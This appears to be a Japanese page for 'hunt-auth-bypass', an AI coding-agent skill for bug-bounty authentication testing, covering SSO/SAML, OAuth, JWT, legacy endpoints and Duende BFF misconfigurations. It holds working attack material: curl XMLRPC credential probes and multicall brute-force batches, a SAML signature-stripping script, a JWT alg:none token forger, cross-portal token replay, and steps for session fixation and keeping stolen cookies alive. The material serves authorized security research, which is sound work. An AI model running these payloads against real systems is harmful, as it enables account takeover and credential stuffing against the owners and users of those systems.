hunt-auth-bypass について
hunt-auth-bypassは、認証面を対象とする許可済みのセキュリティテスト向けスキルで、バグバウンティの研究者やレッドチーム担当者を対象とします。入口の特定、プロトコル別の確認、レガシーエンドポイントの資料、具体的な検査パターンをまとめています。
主な機能
- 01認証入口の洗い出し
- 02SAML、OAuth、セッションフローの確認
- 03レガシー認証エンドポイントの検査
- 04ポータル間のトークン再利用テスト
- 05ペイロードと検出パターンの活用
活用シーン
- 01対象のSSOとログイン面の監査
- 02独自ログインと並行したレガシーエンドポイントの確認
- 03ポータルのトークンがアクセス境界を越えるかの検査
- 04認証バイパス疑いの影響確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-auth-bypassインストール後、Claude Code で/hunt-auth-bypassを入力して読み込まれたか確認します。
詳細
最優先の攻略対象
認証バイパスは、最も基本的なセキュリティ制御に直接違反するため、バグバウンティで常に最も高額な報奨金が設定される脆弱性クラスのひとつです。高価値のターゲットには、次のようなものがあります。
- エンタープライズ SaaS 企業の SSO/SAML 実装(Slack、Okta、OneLogin の連携など) — 報奨金は定期的に 5,000~25,000 ドル以上に達します
- 管理パネルやパートナー向け/社内ポータル —
partners.shopify.comやadmin.company.comのように、サブドメインで分離された管理画面 - サードパーティ製認証プラグインの連携 — WordPress プラグイン(OneLogin、WP-SAML-Auth)、Drupal の SSO モジュール、プラグインで認証を追加できる CMS 全般
- WordPress の XMLRPC エンドポイント — 見落とされていることが多く、標準の WP 認証フローを完全に迂回できます
- OAuth コールバックフロー — state パラメーターの処理不備、redirect_uri の不一致
- API 認証レイヤー — 特に、後から認証機能が追加されたもの
アセットの優先度: 大規模なユーザー集団に接続されたフェデレーション ID(SAML、OAuth、OIDC)を持つターゲットです。パートナー/再販業者向けポータルは、権限が高く、メイン製品ほどセキュリティの精査を受けていない場合が多いため、特に狙い目です。
SSH 認証局の信頼を悪用した偽造(Git ホスティング/エンタープライズプラットフォーム)
組織またはインスタンスが SSH 認証局を登録している場合、証明書の principals がサーバー側でリクエスト元の ID に紐付けられていないことがあります。その結果、メンバーが別のユーザーの principal を名乗る証明書を発行し、そのユーザーとして認証できます(例:対象リソースの URL だけを使って、そのリソースを変更する)。Git ホスティングのターゲットでは、SSH-CA の信頼を認証対象面のリストに加えてください。ニッチで、プラットフォーム固有の問題です。開示済み:reports/1901040。
攻撃対象面の兆候
調査する URL パターン:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login
SSO を示すレスポンスヘッダー:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"
フェデレーション認証を示す JS パターン:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate
技術スタックの兆候:
- WordPress + SSO プラグイン → XMLRPC も個別に確認
- Shopify Partner API の公開 → テナントをまたぐ権限昇格のリスク
- 「SSO enabled」または「Login with [Enterprise IdP]」をうたうアプリ
- 管理/パートナー向けに別々のサブドメインがあり、メインドメインとセッション Cookie を共有している
SimpleSAMLphp、ruby-saml、python-samlを使用するアプリケーション
Burp のパッシブスキャンのトリガー:
- POST ボディ内の
SAMLResponse - レスポンス内の
openid_connectまたはid_token .company.com(ワイルドカード)に設定された Cookie ドメイン
手順に沿った調査方法
-
すべての認証の入口を洗い出す
- ターゲットをクロールして、すべてのログイン画面を探します。メインのログイン画面、管理者ログイン、API ログイン、パートナーポータル、モバイル API エンドポイントなどが対象です。
robots.txt、JS ファイル、Wayback Machine を確認し、/xmlrpc.phpなどの見落とされているエンドポイントを探します。
-
各入口の認証方式を特定する
- フォームベース、SAML、OAuth、API キー、セッショントークンのどれでしょうか?
- WordPress の場合、メインのログインが SSO で保護されていても、必ず
/xmlrpc.phpを調査します。
-
SSO とは独立して XMLRPC をテストする
- サイトが SSO(例:OneLogin)を使用している場合、
/xmlrpc.phpに手動で POST します。 - XMLRPC は SSO ではなく WordPress ネイティブの認証情報を使用するため、まず
system.listMethodsを、次にwp.getUsersBlogsをテストします。
- サイトが SSO(例:OneLogin)を使用している場合、
-
SAML の実装を列挙する
- Burp を使って、有効な SAMLResponse を取得します。
- Base64 ペイロードをデコードし、XML を調べます。
- 署名の削除、コメントの挿入、XML ラッピング攻撃をテストします。
- SP が署名を検証しているかどうかをテストします(署名のないアサーションを送信します)。
-
ポータル間でのセッション/トークンの再利用をテストする
partners.shopify.comのようなポータルにログインします。- 発行されたトークン/Cookie をメインの管理者ポータルで使用できるか試します。
- 共有 Cookie ドメイン、共有 JWT シークレット、またはコンテキストをまたいで使用できる API トークンを探します。
-
認証パラメーターをファズする
- NULL/空のパスワード、
password[]=array、ユーザー名フィールドへの SQL の入力を試します。 - ステージングサブドメインで
admin/admin、test/testを試します。 - JWT の
role、is_admin、user_typeを変更します(none アルゴリズム、弱いシークレット)。
- NULL/空のパスワード、
-
リダイレクトと state パラメーターを確認する
- OAuth から
stateを削除すると問題が発生しますか? redirect_uriをオープンリダイレクトの遷移先に変更できますか?- SAML の
RelayStateは検証されていますか?
- OAuth から
-
権限を昇格させて影響を確認する
- ログインだけで終わらせず、管理者機能、他のユーザーのデータ、機密性の高い設定にアクセスできることを証明します。
- 実行できる最も高い権限の操作をスクリーンショットに撮ります。
レガシープロトコル一覧(独自ブランドのログイン画面がある場合は、まずここを調査)
ターゲットに独自ブランドのログイン UI(例:customlogin.aspx、/auth/signin、/account/login)がある場合は、プラットフォームのレガシープロトコルのエンドポイントを、ネイティブの認証情報で必ず並行して調査します。こうしたエンドポイントは、独自 UI の保護がなくなった後も利用できることが多く、ネイティブの認証情報を使用し、レート制限、MFA チャレンジ、CAPTCHA、自動化対策が一切ない状態で認証を受け付けます。これは WordPress の XMLRPC パターンを CMS/ポータル/フレームワークのスタック全般に一般化したものです。
| 対象技術 | 調査するレガシーエンドポイント | ネイティブ認証情報による迂回面 |
|---|---|---|
| WordPress | /xmlrpc.php(system.listMethods、wp.getUsersBlogs、system.multicall) | ネイティブの WP ユーザー名/パスワード。/wp-login.php の SSO、MFA、IP 許可ルールを迂回します |
| WordPress(REST) | /?rest_route=/wp/v2/users、/wp-json/wp/v2/users | ログインページが強化されていても、匿名でユーザーを列挙できます |
| SharePoint(全バージョン) | /_vti_bin/Authentication.asmx(Mode と Login の SOAP オペレーション) | ネイティブの Forms 認証情報を使用します。FedAuth Cookie が返されます。SP2013 ファームでは、このエンドポイントにレート制限がないことを確認しています。WP XMLRPC 迂回に相当する、SharePoint の標準的なエンドポイントです |
| SharePoint レガシー | /_vti_bin/_vti_aut/author.dll、/_vti_bin/_vti_adm/admin.dll、/_vti_bin/owssvr.dll | FrontPage RPC。認証情報の検証機能にまだ接続されている場合があります |
| SharePoint REST | /_api/contextinfo(POST)、/_api/$metadata | 匿名での FormDigest 発行、API 全体の列挙 |
| Atlassian(Jira/Confluence) | /rest/auth/1/session(基本認証)、/rest/api/2/myself、レガシー /rest/api/1.0/ | UI で Atlassian Crowd/Atlassian Access の SSO が強制されていても、/rest/auth/1/session ではネイティブ認証情報を受け付けます |
| Drupal | /jsonapi/、/user/login?_format=json | ネイティブパスワードを受け付ける JSON POST エンドポイントです。SSO ミドルウェアとは別系統です |
| Drupal(D7 レガシー) | /?q=user/login、/services/、/rest/ | 独立した認証機能を持つ古い REST モジュールです |
| Joomla | /administrator/index.php?option=com_login、/api/index.php/v1/users | フロントサイトの SSO とは独立して、管理画面のエントリーポイントでネイティブの Joomla 認証情報を受け付けます |
| Exchange/OWA | /EWS/Exchange.asmx、/Autodiscover/Autodiscover.xml、/Microsoft-Server-ActiveSync | NTLM/基本認証を使用します。OWA の UI 制限(MFA、IP 許可)を迂回します。典型的な CVE-2020-0688/CVE-2021-26855 の攻撃面です |
| Citrix NetScaler | /vpn/index.html、/cgi/login、/nf/auth/doAuthentication.do | MFA ラッパーとは独立したネイティブの AD 認証情報を使用します |
| 汎用 ASP.NET アプリ | *.asmx?WSDL、*.svc?WSDL、trace.axd、elmah.axd、.disco | すべての Web サービスを探します。多くは WebForms のログインとは独立して認証情報を受け付けます |
| Spring Boot | /actuator/*、/management/*、/api/v1/auth/login、/api/v1/swagger-ui | Actuator エンドポイントは匿名で列挙できる場合があります |
| Jenkins | /jnlpJars/jenkins-cli.jar、/script、/manage、/computer/(master)/script | API トークンとネイティブ認証 |
| GitLab | /api/v3/*(非推奨ですが、古いインストールではまだ使われています)、/api/v4/users、/api/v4/projects | UI セッションよりスコープ制限の緩いパーソナルアクセストークン |
| TeamCity | /app/rest/users、/login.html?username=&password=(GET フォームログイン) | ネイティブの管理者認証情報 |
| Apache Tomcat | /manager/html、/host-manager/html、/manager/text/list | フロント側の認証とは独立したネイティブの Tomcat レルム認証情報 |
| WebLogic | /console/login/LoginForm.jsp、/wls-wsat/* | ネイティブの管理者認証 |
| Oracle EBS/PeopleSoft | /OA_HTML/AppsLogin、/psp/*/?cmd=login | ネイティブの ERP 認証情報 |
使い方:
- ヘッダーとパスから技術スタックを特定します(
hunt-miscAttack Surface Signals を使用)。 - 上記から該当する行を探します。
- レガシーエンドポイントに匿名でアクセスし、到達可能であり、403/404 ではないことを確認します。
- 合成した認証情報でテストし、ネイティブの認証情報形式を受け付け、応答に差がある(成功と失敗で異なる)ことを確認します。
- レート制限、ロックアウト、CAPTCHA がないことを確認します。同じユーザーに対して 10 件のリクエストを連続して送り、応答時間が一様であることを確認します。
- ATO への連鎖に応じて Critical/High として報告します。匿名で無制限に認証情報を総当たりできるエンドポイントは、バグ報奨金プログラムで一貫して Critical と評価されます。
許可を得たエンゲージメントからの教訓: SharePoint 2013 上に、独自ブランドの
customlogin.aspxを備えた企業向けディーラーポータルがありました。hunt-auth-bypass スキルは読み込まれていましたが、上記のマトリクスはこのドキュメントに存在せず、WordPress の XMLRPC パターンも SharePoint の同等機能と結び付けられていませんでした。/_vti_bin/Authentication.asmxは匿名でアクセスでき、レート制限もロックアウトもなく無制限の認証情報試行を受け付けており、エンゲージメントで最も影響の大きい発見でした。最初の調査でこのマトリクスを確認していれば、すぐに発見できていたでしょう。
ペイロードと検出パターン
XMLRPC 認証プローブ(SSO を迂回):
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'
SAML 署名の除去(署名なしのアサーションを送信):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())
SAML XML コメントインジェクション(ユーザー名の混同):
<NameID>[email protected]</NameID>
<NameID>[email protected]@company.com</NameID>
<NameID xmlns:evil="http://evil.com">[email protected]</NameID>
パートナー/クロスポータルのトークン再利用テスト:
# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
-d '[email protected]&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"
JWT の none アルゴリズム攻撃:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"[email protected]"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)
認証バイパスの攻撃対象を検索する grep パターン:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
よくある根本原因
-
SSO は UI 層ではローカル認証を完全に迂回しますが、API 層ではそうなりません — 開発者はログインフォームを無効にしても、API エンドポイント(
/xmlrpc.php、REST API、モバイル API)に独自の認証ハンドラーがあり、ネイティブ認証情報を受け付け続けることを見落とします。 -
SAML 署名の検証が省略されるか、任意になっています — ライブラリのデフォルト設定では署名チェックが強制されないことがよくあります。開発者が
wantAssertionsSigned: falseを使用したり、IdP 証明書を正しく設定しなかったりします。 -
異なる信頼レベル間でセッション基盤が共有されています — パートナーポータルと管理ポータルは、同じ内部フレームワーク上に構築されているため、アプリケーション層でのアクセス制御で十分だと想定し、同じセッションクッキーや JWT シークレットを再利用しています。
-
マルチテナントアーキテクチャにおける信頼の継承 — 低い権限のコンテキスト(パートナー、再販業者)で発行されたトークンが、より高い権限のコンテキストで受け入れられます。検証時に署名の有効性だけを確認し、発行時のコンテキストを確認していないためです。
-
プラグイン/モジュールの認証はアプリケーションの認証から独立しています — 認証を扱うすべての WordPress プラグイン(お問い合わせフォーム、REST API 拡張機能、WooCommerce など)は、それぞれ独自の認証ハンドラーを実装している可能性があり、その動作はメインサイトの SSO と一貫しているとは限りません。
-
XML 解析の不整合 — 異なる XML パーサー(SP と IdP で使用)がコメント、名前空間、空白を異なる方法で処理するため、署名されたコンテンツと評価対象のコンテンツが異なる混同攻撃が可能になります。
バイパス手法
| 防御策 | バイパス |
|---|---|
| ログインページで SSO を強制 | XMLRPC、REST API、モバイル API、レガシーエンドポイントなど、別のエントリーポイントを調査します |
| SAML 署名の検証 | XML コメントインジェクション、名前空間ラッピング、署名ラッピング(XSW)、署名の完全な削除 |
| 管理ポータルでの IP 許可リスト | 認証バックエンドを共有している場合は、パートナーポータルのトークンを使用します |
| ログイン時のレート制限 | XMLRPC の system.multicall を使うと、1 つのリクエストで数百回の認証試行をバッチ処理して、クレデンシャルスタッフィングを実行できます |
| ログインフォームの CSRF トークン | SAML フローは設計上クロスオリジンの POST ベースであり、/saml/callback に CSRF トークンは不要です |
| JWT 署名の検証 | alg: none、鍵の混同(RS256 → HS256 に切り替え、公開鍵をシークレットとして使用)、弱いシークレットのブルートフォース |
| ポータルごとに個別のセッションストア | クッキーのドメインが .target.com(ワイルドカード)か確認します。サブドメイン間でクッキーが共有されます |
| メインログインでの MFA | SAML SP がアサーションレベルで MFA を強制せず、事前認証済みアサーションを受け入れる場合、MFA を回避できます |
大規模な認証バイパスに使う XMLRPC multicall:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>
ゲート 0 の検証
レポートを書く前に、次の 3 つの質問に答えてください。
-
攻撃者は今、何ができますか? 必ず、別のユーザーとして認証する、有効な認証情報なしで認証する、または管理者/特権ロールに昇格する、のいずれかでなければなりません。「部分的な情報漏えい」は認証バイパスではありません。
-
被害者は何を失いますか? 具体的な資産を特定する必要があります。特定ユーザーのアカウント乗っ取り、すべての管理者機能へのアクセス、他のテナントのデータの読み取り/変更権限、または特権 API へのアクセスなどです。影響を示さず、抽象的に「セキュリティ制御のバイパス」とするだけでは不十分です。
-
何もない状態から 10 分以内に再現できますか? 次のことができなければなりません。(a)新しいブラウザー/セッションから開始する、(b)正確な手順に従う、(c)保護されたリソースへの認証済みアクセスに到達する。再現に、自分では再現できない特別な前提条件(特定の被害者の有効なセッション、時間制限など)が必要な場合、レポートにはさらに作業が必要です。
実際の影響の例
シナリオ 1 — 使用されていないプロトコルエンドポイントを介した SSO の強制適用のバイパス
ある大手ライドシェア企業は、WordPress ベースのすべての社内/公開プロパティで SSO(OneLogin 経由)を強制していました。XMLRPC エンドポイント(/xmlrpc.php)は有効なままで、SSO のフローとは完全に独立して、WordPress ネイティブの認証情報を受け付けていました。有効な WP ネイティブの認証情報(クレデンシャルスタッフィングや過去の侵害で入手)を持つ攻撃者は、XMLRPC 経由で直接認証し、メインのログインフォームで適用される MFA、SSO ポリシー、IP 制限をバイパスできました。影響:そのユーザーロールで利用可能なすべての WordPress 機能(コンテンツ管理や、場合によっては管理者機能を含む)への完全な認証済みアクセス。
シナリオ 2 — 署名検証の不備による SAML アサーションの偽造
ある大手エンタープライズ向けコミュニケーションプラットフォームの SAML SP 実装は、特定のエッジケースでアサーションの署名を適切に検証できていませんでした。キャプチャした SAMLResponse の XML 構造を操作することで(特にコメントのインジェクションや名前空間プレフィックス攻撃を通じて)、攻撃者は NameID の値を変更し、ユーザーの認証情報や秘密鍵を所持していなくても、組織内の任意のユーザー(ワークスペース管理者を含む)になりすますことができました。影響:SAML 対応組織内の任意のユーザーのアカウントを完全に乗っ取り、ワークスペース内のすべてのメッセージ、ファイル、連携機能にアクセスできます。
シナリオ 3 — 共通認証バックエンドを介したポータル間の権限昇格 ある e コマースプラットフォームのパートナー/リセラーポータルが発行する認証トークンは、加盟店の管理者ポータルと同じバックエンドサービスで検証されていました。信頼レベルが低く外部に公開されたパートナーアカウントは、発行された認証情報またはトークンを使って管理者向け API エンドポイントに直接認証し、加盟店のオンボーディングや権限付与のフローをバイパスできました。影響:悪意のあるパートナーは、任意の加盟店の管理者パネルにアクセスし、ストアの設定を変更し、顧客の個人識別情報や決済データを持ち出し、悪意のあるスクリプトをインストールできます。影響範囲は数千の加盟店のストアに及びます。
公開済みレポートの引用(追加 +8 件 — 2016~2025 年)
以下の実際に検証されたバグ報奨金/協調的な脆弱性開示の事例を、このスキルに追加します。対象は、SAML のサブクラス 4 件、JWT のサブクラス 4 件、レガシープロトコル(XMLRPC)1 件、パートナーポータル間でのドメインをまたぐ認証の再利用パターン 2 件です。
5. GitHub Enterprise Server — パーサー差異を利用した SAML XSW(CVE-2025-25291/25292) (H1 #2579939 · ブログ)
- サブクラス:SAML 署名の除去/XSW(パーサー差異を利用する亜種)
- ペイロード:署名済み SAML レスポンスに、兄弟要素となる <Assertion> を挿入します。これにより、REXML(署名チェッカー)と Nokogiri(ビジネスロジック側のリーダー)が、同じ XPath から異なるノードを解決します。署名は無害なノードに対して検証されますが、SP は攻撃者が制御する <NameID>admin@target</NameID> を使用します
- 根本原因:検証と使用にそれぞれ異なる 2 つの XML パーサーを使っており、同じ XPath に対して異なる要素を返します
- 年:2025 — GitHub Security Lab の報奨金プログラム(クラスの上限額、社内評価は Critical)
-
GitHub Enterprise — 暗号化されたアサーションでの SAML 署名バイパス(CVE-2024-4985) (H1 #2475347 · ProjectDiscovery のアドバイザリ)
- サブクラス:暗号化アサーション機能が有効な場合の SAML 署名の除去(XSW 系)
- ペイロード:攻撃者が制御するアサーションを含む SAML レスポンスを偽造し、暗号化アサーションのコードパスにおける不適切な署名検証を悪用して、
site_adminを含む任意のユーザーを作成します - 根本原因:暗号化アサーションのコードパスにおける不適切な暗号署名検証
- 年:2024 — 報奨金額は非公開、CVSS 10.0
-
Uber —
uchat.uberinternal.comでの SAML 認証バイパス (H1 #223014)- サブクラス:SAML 署名の除去/アサーションの不適切な検証(OneLogin の SP 側)
- ペイロード:偽造した
NameIDを含む SAML アサーションを再送信または改変します。SP が署名の適用範囲を厳密に検証していなかったため、攻撃者が制御するアサーションが受け入れられ、社内チャットへの OneLogin SSO セッションが付与されます - 根本原因:SP 実装における SAML 署名の不適切な検証
- 年:2017 — $8,500
-
Uber — WordPress XMLRPC 経由の OneLogin SSO バイパス (H1 #138869)
- サブクラス:SSO を迂回する WordPress XMLRPC(レガシー認証経路に制限が適用されていない)— Legacy-Protocol Matrix の代表的な事例
- ペイロード:OneLogin プラグインは、文字どおりのパスワード
@@@nopass@@@を使って WP ユーザーを自動作成していました。SSO プラグインがブロックしていたのはwp-login.phpのみでした。既知の共有パスワードを使い、wp.getUsersBlogsを指定してxmlrpc.phpに POST すると、過去に SSO で認証された任意のユーザーとして認証されます - 根本原因:SSO の強制適用は 1 つの認証窓口(wp-login)のみに限定され、レガシーな XML-RPC 経路では推測可能な共有パスワードによるパスワード認証が残っていました
- 年:2016 — $7,000
-
Slack — SAML の「confused-deputy」アサーション再利用 (解説記事)
- サブクラス:パートナーポータル/IdP をまたいだアサーション再利用(オーディエンス制限が検証されない)
- ペイロード:期限切れの GitHub 署名済み SAML アサーション(オーディエンスとサブジェクトが異なる)を取得して Slack ACS に提示すると、Slack はアサーションで指定されたユーザー名で攻撃者をログインさせます
- 根本原因:オーディエンス制限と有効期限の検証がなく、IdP をまたいで信頼が拡張されていました
- 年:2017 — $3,000
-
HackerOne — 制御文字を利用した SAML 登録時のドメイン制限バイパス (H1 #2101076)
- サブクラス:パートナーポータル/Unicode 制御文字を利用した SAML ドメイン紐付けのバイパス
- ペイロード:SAML が必須の組織で新規ユーザー登録時、メールアドレスの末尾に制御文字(例:
\r、�)を追加すると、ドメイン比較時に正規化によってその文字が除去され、登録が続行されます。その結果、組織への不正アクセスが可能になります - 根本原因:ドメインチェックと ID の書き込みで、Unicode/制御文字の正規化に一貫性がありませんでした
- 年:2024 — 報奨金が授与(額は非公開)
-
8x8 / Jitsi-Meet — JWT alg-confusion (非対称検証側が対称アルゴリズムを受け入れる) (H1 #1210502)
- サブクラス: JWT alg-confusion (RS256 → HS256、公開鍵を HMAC シークレットとして使用)
- ペイロード: サーバーが RS256 検証用の公開鍵を公開しています。その公開鍵を HMAC シークレットとして署名したヘッダー
{"alg":"HS256"}のトークンを送信 → Prosody モジュールが検証して攻撃者を認証済み/モデレーターのルームへ入室させる - 根本原因: 検証側が
alg=RS256を強制しておらず、公開鍵を共有シークレットとする対称アルゴリズムを許可していた - 年: 2021 — 報奨金は非公開
-
Argo CD (Internet Bug Bounty) — JWT の audience クレームが検証されない (CVE-2023-22482) (H1 #1889161)
- サブクラス: 発行時のトークンスコープ / audience チェックが使用時に行われない (クロス audience のトークン混同)
- ペイロード: クラスターの OIDC 発行者が署名した RS256 署名付きトークンであるものの、異なる
aud(例:kubernetes) 向けに発行された任意のトークンを取得 → それをベアラーとして Argo CD API に提示 → API は発行者の署名を受け入れaudの強制をスキップするため、有効とみなす - 根本原因:
audクレームが強制されず、署名信頼が audience をまたいで拡張されていた - 年: 2023 — IBB 経由で $2,400
Duende BFF — トークン混同とセッション固定 (2024-2026 年の攻撃対象領域)
Duende BFF のデプロイでは、hunt-csrf で扱った CSRF の観点以外に、2 つの異なる認証バイパス系が存在します。どちらも文書化されたアーキテクチャ上の現実であり、ユニコーンのような CVE ではありません。
攻撃クラス 1 — YARP の UserOrClient / UserOrNone 権限昇格
Duende.BFF.Yarp は WithAccessToken(TokenType.X) メタデータを介して、プロキシされたルートにアクセストークンを付与します。設定ミスのパターン: 開発者が「公開カタログ」エンドポイントを意図してルートを UserOrClient (ログインしていればユーザートークンを使用し、そうでなければ クライアントクレデンシャル トークンにフォールバック) とマークします。クライアントクレデンシャル (M2M) トークンは、どのユーザートークンよりも広いスコープ (api.admin、internal.read) を持つことがよくあります。そのルートにアクセスした未認証の攻撃者に対して、リクエストはサービスアカウントトークンを付与された状態でダウンストリーム API へプロキシされます。ダウンストリームがベアラーを信頼している場合、これは設計上の権限昇格となります。
ペイロードの形: TokenType.UserOrClient とマークされた BFF ルートを特定します (セッションなしのときに 401 と 200 の差分で判別できるほか、漏洩した OpenAPI/NSwag スペックからも判別できます)。Cookie なしでそのルートにアクセス → BFF は M2M トークンを付与して転送し、ダウンストリームで管理者スコープを付与します。(docs.duendesoftware.com/bff/fundamentals/apis/yarp)
関連する確認済み CVE: Duende.AccessTokenManagement.OpenIdConnect の CVE-2024-51987 — 「HTTP クライアントが更新後に誤ったトークンを使用する」 — 本質的にプロキシ層における同じトークン混同系です。深刻度は中、2024 年に修正済み。(GHSA-...51987)
攻撃クラス 2 — Cookie ドメインのワイルドカード+スライディング有効期限=永続的な ATO
BFF セッション Cookie の Domain=.example.com が設定されている場合(app. と admin. 間でログイン状態を共有するために開発者が設定することがあります)、__Host- プレフィックスによる保護は失われます。乗っ取られたサブドメイン(廃止済みの Heroku/S3 を指す CNAME が設定された legacy.example.com など)を含む、任意の兄弟サブドメインから Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com を書き込めます。被害者が攻撃者のセッションを持った状態で app.example.com にアクセスすると、セッション固定による ATO が発生します。
SlidingExpiration=true(デフォルト)で、ExpireTimeSpan が長い(例:8h)場合、流出した Cookie は有効なまま維持され、攻撃者が定期的に /bff/user を呼び出す限り有効期限が延長され続けます。Cookie 自体にはサーバー側のリフレッシュトークンローテーションチェックはありません。ローテーションされるのは OIDC トークン(サーバー側)だけです。盗まれた Cookie ごとに、ATO が持続する期間が発生します。
ペイロードの流れ: サブドメインの乗っ取り → Domain=.example.com を指定して BFF セッション Cookie を書き込む → 被害者が次に app.example.com にアクセスした際、攻撃者のセッションが採用されます。セッションを維持するため、GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' を 6 時間ごとに無期限で Cron-curl します。
強化策の参考資料: docs.duendesoftware.com/bff/fundamentals/session/handlers、nestenius.se BFF Cookie ガイド、__Host- プレフィックスに関する Langkemper の記事。
攻撃クラス 3 — /bff/user によるクレームの開示
GET /bff/user は、アクティブなセッションのクレーム一式を JSON 配列で返します。sub、sid、email、bff:session_expires_in、bff:session_state、bff:logout_url に加え、OP が発行したすべてのカスタムクレーム(部門、ロール、社内従業員 ID、テナント ID)が含まれます。このエンドポイントへのアクセスを制限するのは、セッション Cookie と X-CSRF: 1 だけです。AnonymousSessionResponse=Response200 が設定されている場合、このエンドポイントはセッションプローブとしても機能し、認証状態を判定するオラクルとして利用できます(200 + クレーム、または 200 + null)。単独では影響度の低い/中程度の情報開示ですが、上記の YARP トークン混同クラスを調査するうえで有用です。(docs.duendesoftware.com/bff/fundamentals/session/management/user)
証拠の強さ+報告のヒント
Duende.BFF そのものに直接関係する CVE は存在しません。3 つのクラスは実際に起こりうる設定ミスを通じて悪用できます。隣接する Duende.AccessTokenManagement パッケージの CVE-2024-51987 と CVE-2025-26620 により、トークン混同が同じファミリーの問題であることが確認されています。問題は設計レベルにあるため、CVE の引用ではなく、攻撃チェーンの影響に基づいて報告してください(例:「低権限セッションから UserOrClient ルートを経由して管理者スコープの下流 API に到達」→ 重大)。
この攻撃チェーンに関する相互参照:
hunt-csrf— ロールごとに分割されたアンチフォージェリのクラス(同じ BFF サーフェスにおける CSRF の観点)。hunt-subdomain-takeover/hunt-subdomain— Cookie ドメイン攻撃に必要な前提条件です。
関数レベルのアクセス制御(認可の不備)
認証のバイパスによって侵入できても、関数レベルのアクセス制御に不備があると、すでに認証済みの低権限ユーザーが、UI では利用できないはずの特権機能にアクセスできてしまいます。これは hunt-idor(オブジェクトレベルのアクセス制御)の認可版です。認証済みセッションがある場合は、必ず両方をテストしてください。
兄弟エンドポイントのルール: あるパス配下の 9 つのエンドポイントで認証/ロールミドルウェアが適用されているのに、残る 1 つに適用されていなければ、それが脆弱性です。管理者向けのルート群は、最も有望な調査対象です:
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
grep で探すアンチパターン:
// Missing middleware on a sibling route
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton(); // frontend gate
app.post('/api/admin/delete', deleteUser); // no server-side check
調査方法: 特権エンドポイント(管理者向け/エクスポート/削除/リセット/なりすまし、GraphQL の管理者向けクエリ)をすべて列挙し、それぞれを一般ユーザーの認証済みセッションから再実行します。さらに、セッションなしでも再実行してください。200 が返る場合(または、同じパスのほかのエンドポイントが返す 403 との違いがある場合)は、関数レベルのアクセス制御に不備があります。
実際の有償事例 — HackerOne TrustHub: TrustHubQuery 操作を使った POST /graphql には認可チェックがなく、一般ユーザーがすべてのベンダーのデータを読み取ることができました(CVSS 8.7、High)。オブジェクトレベルの亜種(たとえば、所有権チェックなしで任意の UUID を受け付ける WebSocket の get_history)は hunt-idor の対象です。
関連スキルと攻撃チェーン
hunt-idor— オブジェクトレベルのアクセス制御を伴わない認証バイパスでは、発見の半分にすぎません。両者を組み合わせてください。攻撃チェーンの起点:旧式の/v1/users/{id}ルートで認証ミドルウェアと所有権チェックの両方が欠落している場合、ID を直接差し替えることで、未認証の状態からテナントをまたいだデータを読み取れます → 「何者でもない」状態から、PII をすべてダンプできます。hunt-ato— 認証バイパスの起点は ATO につながります。攻撃チェーンの起点:XMLRPC がネイティブ認証情報を受け付け、wp.getUsersBlogsにレート制限がない場合、hunt-miscの偵察で収集した漏えい認証情報のデータセットを使ってクレデンシャルスタッフィングを実行できます →system.multicallで 1 リクエストあたり 1000 組の認証情報をバッチ処理できます → 1 組でも有効であれば、UI が適用する SSO と MFA を回避して ATO が成立します。hunt-sharepoint— WordPress の XMLRPC パターンに相当する SharePoint のパターンはこちらです。攻撃チェーンの起点:/_vti_bin/Authentication.asmxに匿名でアクセスでき、ネイティブの Forms 認証が受け付けられ、レート制限もない場合、独自ブランドのcustomlogin.aspxによる保護を回避して、認証情報を無制限に総当たりできるエンドポイントになります → FedAuth Cookie を取得 → SharePoint ファーム全体にアクセスできます。security-arsenal— JWT が認証の壁になっている場合は、JWT 攻撃ペイロードのセクション(alg=none、kid パストラバーサル、JWK インジェクション、RS256→HS256 の鍵混同)を参照してください。SP 